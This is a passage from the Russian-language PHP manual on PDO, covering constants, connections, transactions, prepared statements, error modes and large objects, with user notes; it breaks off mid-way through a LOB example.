Указывает, что метод, осуществляющий выборку данных, должен возвращать каждую строку результирующего набора в виде объекта, имена свойств которого соответствуют именам столбцов результирующей таблицы.
PDO::FETCH_BOUND (int)
Указывает, что метод, осуществляющий выборку данных, должен возвращать TRUE и присваивать значения столбцов таблицы переменным PHP, которые были привязаны методами PDOStatement::bindParam() или PDOStatement::bindColumn().
PDO::FETCH_COLUMN (int)
Указывает, что метод, осуществляющий выборку данных, должен возвращать значение только одного столбца из следующей строки результирующего набора.
PDO::FETCH_CLASS (int)
Указывает, что метод, осуществляющий выборку данных, должен возвращать новый объект запрашиваемого класса, заполняя именованные свойства класса значениями столбцов результирующей таблицы.

Замечание: Если в классе нет свойства с необходимым именем, будет вызван магический метод __set().

PDO::FETCH_INTO (int)
Указывает, что метод, осуществляющий выборку данных, должен обновлять существующий объект запрашиваемого класса, заполняя именованные свойства класса значениями столбцов результирующей таблицы.
PDO::FETCH_FUNC (int)
Позволяет настроить обработку данных "на лету" во время выборки (константа действительна только для функции PDOStatement::fetchAll()).
PDO::FETCH_GROUP (int)
Группировка возвращаемых значений. Обычно комбинируется с константами PDO::FETCH_COLUMN или PDO::FETCH_KEY_PAIR.
PDO::FETCH_UNIQUE (int)
Выбирать только уникальные значения, исключать дубли из результата.
PDO::FETCH_KEY_PAIR (int)
Выборка из двух столбцов будет помещена в массив, в котором значения первого столбца принимаются за ключи, а значения второго - за значения.
PDO::FETCH_CLASSTYPE (int)
Определение имени класса по значению первого столбца.
PDO::FETCH_SERIALIZE (int)
Аналогична PDO::FETCH_INTO, но объект представлен в виде сериализованной строки. Конструктор класса не будет вызван, если этот флаг установлен. Объявлена устаревшей, начиная с PHP 8.1.0.
PDO::FETCH_PROPS_LATE (int)
Вызывать конструктор до установки свойств.
PDO::ATTR_AUTOCOMMIT (int)
Если значение false, PDO попытается отключить автоматическую фиксацию изменений в базе данных, таким образом началом транзакции будет установление соединения.
PDO::ATTR_PREFETCH (int)
Изменение размера буфера предвыборки позволяет регулировать баланс между затрачиваемой памятью и скоростью работы с базой данных. Не все связки база/драйвер поддерживают изменение размера этого буфера. Чем больше этот размер, тем выше быстродействие, но и выше затраты памяти.
PDO::ATTR_TIMEOUT (int)
Задаёт время в секундах, в течение которого должен быть завершён обмен с базой данных.
PDO::ATTR_ERRMODE (int)
Подробно об этом атрибуте смотрите раздел Ошибки и их обработка.
PDO::ATTR_SERVER_VERSION (int)
Этот атрибут предназначен только для чтения; он содержит информацию о версии сервера баз данных, к которому подключён PDO.
PDO::ATTR_CLIENT_VERSION (int)
Этот атрибут предназначен только для чтения; он содержит информацию о версии клиентских библиотек, которые использует драйвер PDO.
PDO::ATTR_SERVER_INFO (int)
Этот атрибут предназначен только для чтения; он содержит информацию о сервере баз данных, к которому подключён PDO.
PDO::ATTR_CONNECTION_STATUS (int)
PDO::ATTR_CASE (int)
Приведение имён столбцов к нужному регистру, который задаётся константами PDO::CASE_*.
PDO::ATTR_CURSOR_NAME (int)
Получение или установке имени курсора. Особенно полезно при использовании прокручиваемых курсоров или обновления данных в конкретных позициях.
PDO::ATTR_CURSOR (int)
Выбор типа курсора. PDO на данный момент поддерживает PDO::CURSOR_FWDONLY и PDO::CURSOR_SCROLL. Если вы не уверены, что вам нужен именно прокручиваемый курсор, выбирайте PDO::CURSOR_FWDONLY.
PDO::ATTR_DRIVER_NAME (string)
Возвращает имя драйвера.

Пример #1 Пример использования PDO::ATTR_DRIVER_NAME

<?php
if ($db->getAttribute(PDO::ATTR_DRIVER_NAME) == 'mysql') {
echo "Работаем с mysql; делаем что-то специфичное для mysql\n";
}
?>

PDO::ATTR_ORACLE_NULLS (int)
Преобразование пустых строк в SQL NULL в выборках.
PDO::ATTR_PERSISTENT (mixed)
Запрашивать постоянное соединение вместо создания нового подключения. Подробнее об этом атрибуте смотрите раздел Подключения и управление подключениями.
PDO::ATTR_STATEMENT_CLASS (int)
Устанавливает имя класса, для которого возвращаются запросы (statements).
PDO::ATTR_FETCH_CATALOG_NAMES (int)
Предписание предварять имена столбцов именами каталогов в результирующем наборе. Имя столбца отделяется от имени каталога десятичной точкой (.). Поддержка этого атрибута заложена на уровне драйвера; этот функционал поддерживается не всеми драйверами.
PDO::ATTR_FETCH_TABLE_NAMES (int)
Предписание предварять имена столбцов именами исходных таблиц в результирующем наборе. Имя столбца отделяется от имени таблицы десятичной точкой (.). Поддержка этого атрибута заложена на уровне драйвера; этот функционал поддерживается не всеми драйверами.
PDO::ATTR_STRINGIFY_FETCHES (int)
Принудительно преобразовывать все получаемые значения в строки.
PDO::ATTR_MAX_COLUMN_LEN (int)
Устанавливает максимальную длину имени столбца.
PDO::ATTR_DEFAULT_FETCH_MODE (int)
PDO::ATTR_EMULATE_PREPARES (int)
PDO::ATTR_DEFAULT_STR_PARAM (int)
Устанавливает по умолчанию тип параметра строку, значением может быть одна из констант: PDO::PARAM_STR_NATL или PDO::PARAM_STR_CHAR. Константа доступна с версии PHP 7.2.0.
PDO::ERRMODE_SILENT (int)
Предписание не выбрасывать исключений в случае ошибок. Предполагается, что разработчик скрипта явно проверяет все исключительные ситуации. Это режим по умолчанию. Подробнее об этом атрибуте смотрите в разделе Ошибки и их обработка.
PDO::ERRMODE_WARNING (int)
Предписание выдавать сообщение об ошибке PHP уровня E_WARNING. Подробнее об этом атрибуте смотрите в разделе Ошибки и их обработка.
PDO::ERRMODE_EXCEPTION (int)
Предписание выбрасывать исключение PDOException в случае возникновения ошибки. Подробнее об этом атрибуте смотрите в разделе Ошибки и их обработка.
PDO::CASE_NATURAL (int)
Предписание оставлять имена столбцов такими, какие выдал драйвер базы данных.
PDO::CASE_LOWER (int)
Приводить имена столбцов к нижнему регистру.
PDO::CASE_UPPER (int)
Приводить имена столбцов к верхнему регистру.
PDO::NULL_NATURAL (int)
PDO::NULL_EMPTY_STRING (int)
PDO::NULL_TO_STRING (int)
PDO::FETCH_ORI_NEXT (int)
Предписание выбрать следующую строку из результирующего набора. Константа действительна только для прокручиваемых курсоров.
PDO::FETCH_ORI_PRIOR (int)
Предписание выбрать предыдущую строку из результирующего набора. Константа действительна только для прокручиваемых курсоров.
PDO::FETCH_ORI_FIRST (int)
Предписание выбрать первую строку из результирующего набора. Константа действительна только для прокручиваемых курсоров.
PDO::FETCH_ORI_LAST (int)
Предписание выбрать последнюю строку из результирующего набора. Константа действительна только для прокручиваемых курсоров.
PDO::FETCH_ORI_ABS (int)
Предписание выбрать строку с указанным номером из результирующего набора. Константа действительна только для прокручиваемых курсоров.
PDO::FETCH_ORI_REL (int)
Предписание выбрать строку из результирующего набора относительно текущего положения курсора. Константа действительна только для прокручиваемых курсоров.
PDO::CURSOR_FWDONLY (int)
Предписание создать объект PDOStatement с последовательным курсором. Последовательные курсоры выбираются по умолчанию, так как это наиболее общий и быстрый способ доступа к данным в БД из PHP.
PDO::CURSOR_SCROLL (int)
Предписание создать объект PDOStatement с прокручиваемым курсором. Передача констант PDO::FETCH_ORI_* позволяет задать режим работы курсора, то, как будут выбираться строки из результирующего набора запроса.
PDO::ERR_NONE (string)
Соответствует коду SQLSTATE '00000'. Это означает, что SQL-запрос выполнен успешно без ошибок или предупреждений. Эта константа внедрена для удобства при проверке, есть ли ошибки, функциями PDO::errorCode() или PDOStatement::errorCode(). Также можно проверять, есть ли ошибка внутри метода, сравнивая его код возврата с этой константой.
PDO::PARAM_EVT_ALLOC (int)
Событие, возникающее при выделении памяти под объект
PDO::PARAM_EVT_FREE (int)
Событие, возникающее при освобождении занимаемой объектом памяти
PDO::PARAM_EVT_EXEC_PRE (int)
Событие, возникающее перед запуском подготовленного запроса.
PDO::PARAM_EVT_EXEC_POST (int)
Событие, возникающее после запуска подготовленного запроса.
PDO::PARAM_EVT_FETCH_PRE (int)
Событие, возникающее перед выборкой данных из результирующего набора.
PDO::PARAM_EVT_FETCH_POST (int)
Событие, возникающее после выборки данных из результирующего набора.
PDO::PARAM_EVT_NORMALIZE (int)
Событие, возникающее во время регистрации параметров, позволяющее драйверу нормализовать имена параметров.
PDO::SQLITE_DETERMINISTIC (int)
Указывает, что функция созданная PDO::sqliteCreateFunction() детерминирована, то есть она всегда возвращает одинаковый результат для для одинаковых входных данных в одном выражении SQL. (Доступно с PHP 7.1.4.)

User Contributed Notes

Rexana 09-Feb-2023 03:13
Reference for PDO MySQL constants Todd mentioned have moved to here: https://www.php.net/manual/en/ref.pdo-mysql.php

This includes documentation on constants like PDO::MYSQL_ATTR_SSL_CA, PDO::MYSQL_ATTR_SSL_VERIFY_SERVER_CERT, and more.
Sbastien 06-Nov-2020 12:37
PDO::FETCH_UNIQUE not only fetches the unique values, it also uses the first SQL column as array key result, what is very useful for create quickly an index, eg :

<?php

$sql = <<<SQL
    SELECT ALL
        c1, -- For result indexing
        c1, c2
    FROM (
        VALUES
            ROW('ID-1', 'Value 1'),
            ROW('ID-2', 'Value 2a'),
            ROW('ID-2', 'Value 2b'),
            ROW('ID-3', 'Value 3')
    ) AS t (c1, c2);
    SQL;
$result = $pdo->query($sql);
print_r($result->fetchAll(PDO::FETCH_UNIQUE));

/*
Gives :
ID-1 => [c1 => ID-1,  c2 => Value 1]
ID-2 => [c1 => ID-2b, c2 => Value 2b]
ID-3 => [c1 => ID-3,  c2 => Value 3]
*/

?>
todd at toddwiggins dot com dot au 29-Jan-2020 11:48
Reference to all the PDO::MYSQL_* constants is available in MySQL's documentation for the driver here: https://dev.mysql.com/doc/connectors/en/apis-php-pdo-mysql.html

Such as the ones I was looking for PDO::MYSQL_ATTR_SSL_CA and PDO::MYSQL_ATTR_SSL_CAPATH which are not listed on this page.
kevin at kevinlocke dot name 08-Oct-2019 04:38
PDO::PARAM_STR_CHAR and PDO::PARAM_STR_NATL must be combined with PDO::PARAM_STR using bitwise-OR for parameter binding.

These flags control value quoting (e.g. PDO::quote) and, in some situations (see below), parameter binding  (e.g. PDO::bindParam, PDO::bindValue) to prefix string literals with N'' as defined in SQL-92.  As of PHP 7.3, only dblib and mysql support these flags.  For the mysql driver, the flags only affect parameter binding when PDO::ATTR_EMULATE_PREPARES is true (the default).

MySQL and MariaDB interpret string literals prefixed with N as being utf8 (not utf8mb4) regardless of `SET NAMES` or the charset parameter.  This can cause problems if the database/table/column charset is not utf8.  For example, in a database using utf8mb4, the query "SELECT * FROM table WHERE col = :param" and bindValue(":param", "\u{1F600}", PDO::PARAM_STR | PDO::PARAM_STR_NATL) will cause "PDOException: SQLSTATE[HY000]: General error: 1267 Illegal mix of collations (utf8mb4_general_ci,IMPLICIT) and (utf8_general_ci,COERCIBLE) for operation '='".  Using PDO::PARAM_STR without PDO::PARAM_STR_NATL and ensuring the charset DSN parameter is set correctly can avoid this issue.

See:
https://wiki.php.net/rfc/extended-string-types-for-pdo
https://mariadb.com/kb/en/library/string-literals/
https://dev.mysql.com/doc/refman/8.0/en/string-literals.html
ko dot izawa at gmail dot com 29-Aug-2016 08:52
When you use REAL type column on SQLite, your setting of pdo parameter of bindValue() is PDO::PARAM_STR.

'''
$stmt->bindValue(':elapse_time', $e_time, PDO::PARAM_STR);
'''
Oleg Andreyev 16-Jun-2016 11:35
Default value for \PDO::ATTR_TIMEOUT is 30 seconds.
Ref.: https://github.com/php/php-src/blob/PHP-7.1.0/ext/pdo_mysql/mysql_driver.c#L600
sam at xnet dot tk 26-Jan-2013 07:37
It should be noted that PDO::FETCH_CLASS will call the constructor *after* setting the values (or calling __set).


Подключения и управление подключениями

Соединения устанавливаются автоматически при создании объекта PDO от его базового класса. Не имеет значения, какой драйвер вы хотите использовать; вы всегда используете имя базового класса. Конструктор класса принимает аргументы для задания источника данных (DSN), а также необязательные имя пользователя и пароль (если есть).

Пример #1 Подключение к MySQL

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
?>

В случае возникновения ошибки при подключении будет выброшено исключение PDOException. Его можно перехватить и обработать, либо оставить на откуп глобальному обработчику ошибок, который вы задали функцией set_exception_handler().

Пример #2 Обработка ошибок подключения

<?php
try {
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
foreach($dbh->query('SELECT * from FOO') as $row) {
print_r($row);
}
$dbh = null;
} catch (PDOException $e) {
print "Error!: " . $e->getMessage() . "<br/>";
die();
}
?>

Внимание

Если ваше приложение не перехватывает исключение PDO конструктора, движок zend выполнит стандартные операции для завершения работы скрипта и вывода обратной трассировки. В этой трассировке будет содержаться детальная информация о соединении с базой данных, включая имя пользователя и пароль. Ответственность за перехват исключений лежит на вас. Перехватить исключение можно явно (с помощью выражения catch), либо неявно, задав глобальный обработчик ошибок функцией set_exception_handler().

При успешном подключении к базе данных в скрипт будет возвращён созданный объект PDO. Соединение остаётся активным на протяжении всего времени жизни объекта. Чтобы закрыть соединение, необходимо уничтожить объект путём удаления всех ссылок на него (этого можно добиться, присваивая null всем переменным, указывающим на объект). Если не сделать этого явно, PHP автоматически закроет соединение по окончании работы скрипта.

Замечание: Если существуют другие ссылки на данный экземпляр PDO (например, из объекта PDOStatement или другие переменные, ссылающиеся на него), они также должны быть удалены (например, присвоением null переменной, ссылающейся на PDOStatement).

Пример #3 Закрытие соединения

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass);
// здесь мы каким-то образом используем соединение
$sth = $dbh->query('SELECT * FROM foo');

// соединение больше не нужно, закрываем
$sth = null;
$dbh = null;
?>

Во многих приложениях может оказаться полезным использование постоянных соединений к базам данных. Постоянные соединения не закрываются при завершении работы скрипта, они кешируются и используются повторно, когда другой скрипт запрашивает соединение с теми же учётными данными. Постоянные соединения позволяют избежать создания новых подключений каждый раз, когда требуется обмен данными с базой, что в результате даёт прирост скорости работы таких приложений.

Пример #4 Постоянные соединения

<?php
$dbh = new PDO('mysql:host=localhost;dbname=test', $user, $pass, array(
PDO::ATTR_PERSISTENT => true
));
?>

Значение параметра PDO::ATTR_PERSISTENT преобразуется в логическое значение (bool) (включить/отключить постоянные подключения), если это не числовая строка (string), которая в этом случае позволяет использовать несколько пулов постоянных подключений. Это полезно, если разные соединения используют несовместимые настройки, например, разные значения PDO::MYSQL_ATTR_USE_BUFFERED_QUERY.

Замечание:

Чтобы использовать постоянные соединения, необходимо добавить константу PDO::ATTR_PERSISTENT в массив параметров драйвера, который передаётся конструктору PDO. Если просто задать этот атрибут функцией PDO::setAttribute() уже после создания объекта, драйвер не будет использовать постоянные соединения.

Замечание:

Если вы используете PDO ODBC драйвер и ваши ODBC библиотеки поддерживают объединение подключений в пул (ODBC Connection Pooling) (unixODBC и Windows точно поддерживают, но могут быть и другие), то рекомендуется вместо постоянных соединений пользоваться этим пулом. Пул подключений ODBC доступен всем модулям текущего процесса; если PDO сам кеширует соединение, то это соединение будет недоступно другим модулям и не попадёт в пул. В результате каждый модуль будет создавать дополнительные подключения для своих нужд.

User Contributed Notes

There are no user contributed notes for this page.


Транзакции и автоматическая фиксация изменений

Теперь вы знаете, как подключаться к базам данных посредством PDO. Но перед тем как выполнять запросы, вам необходимо понять, как PDO управляет транзакциями. Если вы прежде не сталкивались с транзакциями, они обладают четырьмя главными свойствами, это Атомарность, Согласованность, Изолированность и Долговечность (ACID). Говоря простым языком, любые действия, совершенные в рамках транзакции, гарантированно будут выполнены безопасно для базы данных, и на них не повлияют другие подключения к этой базе, даже если эти действия совершаются в несколько этапов. Транзакционные операции можно отменять по запросу (если транзакция ещё не зафиксирована), что упрощает обработку ошибок в скриптах.

Механизм транзакций реализован путём "временного сохранения" всех изменений и дальнейшего применения этих изменений, как единого целого. Это позволяет добиться резкого увеличения эффективности подобных изменений. Другими словами, транзакции могут сделать ваши скрипты более быстрыми и потенциально более стабильными (но для этого необходимо корректно использовать этот механизм).

К сожалению, не все базы данных поддерживают транзакции, поэтому PDO при создании подключения работает в режиме так называемой "автоматической фиксации". Режим автофиксации означает, что каждый запрос к базе данных, который вы выполняете, неявно заключается в транзакцию, если СУБД их поддерживает. Если база данных не поддерживает этот механизм, запрос обрабатывается без транзакции. Чтобы явно обозначить начало транзакции, вы должны использовать метод PDO::beginTransaction(). Если драйвер не поддерживает механизм транзакций, будет выброшено исключение PDOException (вне зависимости от выбранного способа обработки ошибок: подобные ситуации - это всегда серьёзная недоработка). После того, как вы совершите транзакцию, вы можете зафиксировать её методом PDO::commit() или откатить методом PDO::rollBack(), в зависимости от того, успешно выполнен ваш код внутри транзакции или нет.

Внимание

PDO проверяет возможность использования транзакций только на уровне драйвера. Если по каким-то причинам механизм транзакций недоступен, но сервер баз данных принял запрос на открытие транзакции, PDO::beginTransaction() вернёт true без ошибок.

В качестве примера может быть попытка использования транзакций в таблицах MyISAM базы данных MySQL.

При завершении работы скрипта или при закрытии соединения, PDO автоматически откатывает все незавершённые транзакции. Это делается, чтобы предотвратить нарушения целостности базы данных в случаях, когда скрипт неожиданно прерывает работу. Если вы явно не зафиксировали изменения, предполагается, что что-то пошло не так. Поэтому откат изменений - наиболее безопасный выход из ситуации.

Внимание

Изменения будут откачены автоматически, только если транзакция открыта методом PDO::beginTransaction(). Если транзакцию открыть вручную в тексте запроса, PDO об этом никак не узнает, и, соответственно, не сможет принять мер, если произойдёт что-то плохое.

Пример #1 Выполнение пакета изменений в рамках транзакции

В следующем примере предположим, что мы создаём несколько записей для нового сотрудника с номером ID 23. Помимо ввода основной информации необходимо записать его зарплату. Довольно просто сделать два отдельных обновления таблиц, однако путём заключения этих запросов в рамки PDO::beginTransaction() и PDO::commit() мы сможем гарантировать, что никто не увидит этих изменений, пока все они не будут завершены. Если что-то пойдёт не так, catch-блок откатит все изменения с начала транзакции и напечатает сообщение об ошибке.

<?php
try {
$dbh = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2',
array(PDO::ATTR_PERSISTENT => true));
echo "Подключились\n";
} catch (Exception $e) {
die("Не удалось подключиться: " . $e->getMessage());
}

try {
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$dbh->beginTransaction();
$dbh->exec("insert into staff (id, first, last) values (23, 'Joe', 'Bloggs')");
$dbh->exec("insert into salarychange (id, amount, changedate)
values (23, 50000, NOW())");
$dbh->commit();

} catch (Exception $e) {
$dbh->rollBack();
echo "Ошибка: " . $e->getMessage();
}
?>

Вы никак не ограничены в количестве запросов в рамках транзакции; вы также можете выполнять сложные запросы, чтобы извлечь данные, а затем использовать их для создания других запросов на обновление и извлечение данных; если транзакция активна, вы можете быть уверены, что никто не сможет изменить ваши данные, пока вы с ними работаете. За дополнительной информацией о транзакциях обращайтесь к документации к вашему серверу баз данных.

User Contributed Notes

hooby404 at gmail dot com 05-Jul-2022 08:08
> You're not limited to making updates in a transaction; you can also issue complex
> queries to extract data, and possibly use that information to build up more updates
> and queries; while the transaction is active, you are guaranteed that no one else can
> make changes while you are in the middle of your work. For further reading on
> transactions, refer to the documentation provided by your database server.

This only holds true if you specifically do "SELECT .... FOR UPDATE".

Without the "FOR UPDATE" part, when two transactions run at the same time, the second transaction could change a value AFTER the first transaction read it, but BEFORE the first transaction used it for updates.

Without the "FOR UPDATE" part you are absolutely NOT GUARANTEED that no one else can make changes while you are in the middle of your work.
harl at gmail dot com 18-Dec-2017 03:11
Some DBMSs allow DDL (table creation/alteration) within transactions, some do not. Asking "Does my DBMS allow DDL within transactions without forcing a commit?" gives the following example answers:

CUBRID: Yes
DB2 UDB: Yes
Firebird: Yes
Informix: Yes
MySQL: No
Oracle: No (although schema upgrades can be rolled out using "edition-based redefinition")
PostgreSQL: Yes
SQLite: Yes
SQL Server: Sometimes, depending on isolation level, type of command, etc.
Sybase: Yes
pasamio at gmail dot com 26-Oct-2012 07:25
Typically data definition language clauses (DDL) will trigger the database engine to automatically commit:
http://dev.mysql.com/doc/refman/5.0/en/implicit-commit.html

Many other databases (e.g. Oracle) will implicitly commit before and after running DDL statements.


Подготовленные запросы и хранимые процедуры

Большинство баз данных поддерживают концепцию подготовленных запросов. Что это такое? Это можно описать, как некий вид скомпилированного шаблона SQL запроса, который будет запускаться приложением и настраиваться с помощью входных параметров. У подготовленных запросов есть два главных преимущества:

  • Запрос необходимо однажды подготовить и затем его можно запускать столько раз, сколько нужно, причём как с теми же, так и с отличающимися параметрами. Когда запрос подготовлен, СУБД анализирует его, компилирует и оптимизирует план его выполнения. В случае сложных запросов этот процесс может занимать ощутимое время и заметно замедлить работу приложения, если потребуется много раз выполнять запрос с разными параметрами. При использовании подготовленного запроса СУБД анализирует/компилирует/оптимизирует запрос любой сложности только один раз, а приложение запускает на выполнение уже подготовленный шаблон. Таким образом подготовленные запросы потребляют меньше ресурсов и работают быстрее.
  • Параметры подготовленного запроса не требуется экранировать кавычками; драйвер это делает автоматически. Если в приложении используются исключительно подготовленные запросы, разработчик может быть уверен, что никаких SQL-инъекций случиться не может (однако, если другие части текста запроса создаются с неэкранированным вводом, то SQL инъекция по-прежнему возможна).

Подготовленные запросы также полезны тем, что PDO может эмулировать их, если драйвер базы данных не имеет подобной функциональности. Это значит, что приложение может пользоваться одной и той же методикой доступа к данным независимо от возможностей СУБД.

Пример #1 Повторяющиеся вставки в базу с использованием подготовленных запросов

В этом примере 2 раза выполняется INSERT запрос с разными значениями name и value, которые подставляются вместо соответствующих псевдопеременных:

<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);

// вставим одну строку
$name = 'one';
$value = 1;
$stmt->execute();

// теперь другую строку с другими значениями
$name = 'two';
$value = 2;
$stmt->execute();
?>

Пример #2 Повторяющиеся вставки в базу с использованием подготовленных запросов

В этом примере 2 раза выполняется INSERT запрос с разными значениями name и value, которые подставляются вместо псевдопеременных ?.

<?php
$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (?, ?)");
$stmt->bindParam(1, $name);
$stmt->bindParam(2, $value);

// вставим одну строку
$name = 'one';
$value = 1;
$stmt->execute();

// теперь другую строку с другими значениями
$name = 'two';
$value = 2;
$stmt->execute();
?>

Пример #3 Выборка данных с использованием подготовленных запросов

В этом примере производится выборка из базы по ключу, который вводит пользователь через форму. Пользовательский ввод автоматически заключается в кавычки, поэтому нет риска SQL инъекции.

<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
$stmt->execute([$_GET['name']]);
foreach ($stmt as $row) {
print_r($row);
}
?>

Пример #4 Вызов хранимой процедуры с выходными параметрами

Если СУБД поддерживает выходные параметры, приложение может пользоваться ими также как и входными. Выходные параметры обычно используют для получения данных из хранимых процедур. Пользоваться выходными параметрами несколько сложнее, так как разработчику необходимо знать максимальный размер извлекаемых значений ещё на этапе задания этих параметров. Если извлекаемое значение окажется больше, чем предполагалось, будет вызвана ошибка.

<?php
$stmt = $dbh->prepare("CALL sp_returns_string(?)");
$stmt->bindParam(1, $return_value, PDO::PARAM_STR, 4000);

// вызов хранимой процедуры
$stmt->execute();

print "процедура вернула $return_value\n";
?>

Пример #5 Вызов хранимой процедуры с входным/выходным параметром

Можно задать параметр одновременно входным и выходным; синтаксис при этом тот же, что и для выходных параметров. В следующем примере строка 'привет' передаётся в хранимую процедуру, а затем эта строка будет заменена возвращаемым значением.

<?php
$stmt = $dbh->prepare("CALL sp_takes_string_returns_string(?)");
$value = 'привет';
$stmt->bindParam(1, $value, PDO::PARAM_STR|PDO::PARAM_INPUT_OUTPUT, 4000);

// вызов хранимой процедуры
$stmt->execute();

print "процедура вернула $value\n";
?>

Пример #6 Неправильное использование псевдопеременной

<?php
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name LIKE '%?%'");
$stmt->execute([$_GET['name']]);

// псевдопеременная может использоваться только в виде отдельного значения
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name LIKE ?");
$stmt->execute(["%$_GET[name]%"]);
?>

User Contributed Notes

bkilinc at deyta dot net 28-Jan-2021 05:38
it is a good practice not using double quotes in sql strings. This way you can ensure that no variable is injected in query.
a simple query with parameters should be;
'INSERT INTO REGISTRY (name, value) VALUES (?, ?)'
not
"INSERT INTO REGISTRY (name, value) VALUES (?, ?)"
w37090 at yandex dot ru 06-Feb-2020 06:11
Insert a multidimensional array into the database through a prepared query:
We have an array to write the form:

$dataArr:
Array
(
    [0] => Array
        (
            [0] => 2020
            [1] => 23
            [2] => 111111
        )

    [1] => Array
        (
            [0] => 2020
            [1] => 24
            [2] => 222222222
        )
....

Task: prepare a request and pass through binds
$array = [];
foreach ($dataArr as $k=>$v) {
// $x = 2020, the variable is predetermined in advance, does not change the essence
$array[] = [$x, $k, $v];
}
$sql = ("INSERT INTO `table` (`field`,`field`,`field`) VALUES (?,?,?)");

$db->queryBindInsert($sql,$array);

public function queryBindInsert($sql,$bind) {
        $stmt = $this->pdo->prepare($sql);

        if(count($bind)) {
            foreach($bind as $param => $value) {
                $c = 1;
                for ($i=0; $i<count($value); $i++) {
                    $stmt->bindValue($c++, $value[$i]);
                }
                $stmt->execute();
            }
        }
    }
adam at pyramidpower dot com dot au 05-Apr-2010 06:38
Note that when using name parameters with bindParam, the name itself, cannot contain a dash '-'.

example:
<?php
$stmt = $dbh->prepare ("INSERT INTO user (firstname, surname) VALUES (:f-name, :s-name)");
$stmt -> bindParam(':f-name', 'John');
$stmt -> bindParam(':s-name', 'Smith');
$stmt -> execute();
?>

The dashes in 'f-name' and 's-name' should be replaced with an underscore or no dash at all.

See http://bugs.php.net/43130

Adam


Ошибки и их обработка

PDO предлагает на выбор 3 стратегии обработки ошибок в зависимости от вашего стиля разработки приложений.

  • PDO::ERRMODE_SILENT

    До PHP 8.0.0, это был режим по умолчанию. PDO просто предоставит вам код ошибки, который можно получить методами PDO::errorCode() и PDO::errorInfo(). Эти методы реализованы как в объектах запросов, так и в объектах баз данных. Если ошибка вызвана во время выполнения кода объекта запроса, нужно вызвать метод PDOStatement::errorCode() или PDOStatement::errorInfo() этого объекта. Если ошибка вызова объекта базы данных, нужно вызвать аналогичные методы у этого объекта.

  • PDO::ERRMODE_WARNING

    Помимо установки кода ошибки PDO выдаст обычное E_WARNING сообщение. Это может быть полезно при отладке или тестировании, когда нужно видеть, что произошло, но не нужно прерывать работу приложения.

  • PDO::ERRMODE_EXCEPTION

    Начиная с PHP 8.0.0 является режимом по умолчанию. Помимо задания кода ошибки PDO будет выбрасывать исключение PDOException, свойства которого будут отражать код ошибки и её описание. Этот режим также полезен при отладке, так как сразу известно, где в программе произошла ошибка. Это позволяет быстро локализовать и решить проблему. (Не забывайте, что если исключение является причиной завершения работы скрипта, все активные транзакции будут откачены.)

    Режим исключений также полезен, так как даёт возможность структурировать обработку ошибок более тщательно, нежели с обычными предупреждениями PHP, а также с меньшей вложенностью кода, чем в случае работы в тихом режиме с явной проверкой возвращаемых значений при каждом обращении к базе данных.

    Подробнее об исключениях в PHP смотрите в разделе Исключения.

PDO стандартизирован для работы со строковыми кодами ошибок SQL-92 SQLSTATE. Отдельные драйверы PDO могут задавать соответствия своих собственных кодов кодам SQLSTATE. Метод PDO::errorCode() возвращает одиночный код SQLSTATE. Если необходима специфичная информация об ошибке, PDO предлагает метод PDO::errorInfo(), который возвращает массив, содержащий код SQLSTATE, код ошибки драйвера, а также строку ошибки драйвера.

Пример #1 Создание PDO объекта и установка режима обработки ошибок

<?php
$dsn = 'mysql:dbname=testdb;host=127.0.0.1';
$user = 'dbuser';
$password = 'dbpass';

$dbh = new PDO($dsn, $user, $password);
$dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

// PDO выбросит исключение PDOException (если таблица не существует)
$dbh->query("SELECT wrongcolumn FROM wrongtable");
?>

Результат выполнения данного примера:

Fatal error: Uncaught PDOException: SQLSTATE[42S02]: Base table or view not found: 1146 Table 'testdb.wrongtable' doesn't exist in /tmp/pdo_test.php:10
Stack trace:
#0 /tmp/pdo_test.php(10): PDO->query('SELECT wrongcol...')
#1 {main}
  thrown in /tmp/pdo_test.php on line 10

Замечание:

Метод PDO::__construct() будет всегда бросать исключение PDOException, если соединение оборвалось, независимо от установленного значения PDO::ATTR_ERRMODE.

Пример #2 Создание экземпляра класса PDO и установка режима обработки ошибок в конструкторе

<?php
$dsn = 'mysql:dbname=test;host=127.0.0.1';
$user = 'googleguy';
$password = 'googleguy';

$dbh = new PDO($dsn, $user, $password, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_WARNING));

// Следующий запрос приводит к ошибке уровня E_WARNING вместо исключения (когда таблица не существует)
$dbh->query("SELECT wrongcolumn FROM wrongtable");
?>

Результат выполнения данного примера:

Warning: PDO::query(): SQLSTATE[42S02]: Base table or view not found: 1146 Table 'test.wrongtable' doesn't exist in
/tmp/pdo_test.php on line 9

User Contributed Notes

There are no user contributed notes for this page.


Большие объекты (LOB)

Иногда для работы приложения необходимо хранить "большие" порции данных в базе. Обычно, под большим понимают объем данных "около 4 килобайт или больше", хотя некоторые базы данных могут спокойно обрабатывать до 32 килобайт, прежде чем размер данных становится "большим". Большие объекты могут быть текстовыми или двоичными. PDO позволяет работать с такими объектами путём установки типа данных PDO::PARAM_LOB в методах PDOStatement::bindParam() или PDOStatement::bindColumn(). PDO::PARAM_LOB сообщает PDO, что нужно пометить эти данные, как поток. И соответственно работать с такими объектами можно, используя API потоков PHP.

Пример #1 Вывод изображения, хранящегося в базе данных

В этом примере переменной $lob задают в соответствие большой объект LOB, а затем отсылают её в браузер с помощью функции fpassthru(). Так как LOB представляется в виде потока, с ним могут работать такие функции, как fgets(), fread() и stream_get_contents().

<?php
$db = new PDO('odbc:SAMPLE', 'db2inst1', 'ibmdb2');
$stmt = $db->prepare("select contenttype, imagedata from images where id=?");
$stmt->execute(array($_GET['id']));
$stmt->bindColumn(1, $type, PDO::PARAM_STR, 256);
$stmt->bindColumn(2, $lob, PDO::PARAM_LOB);
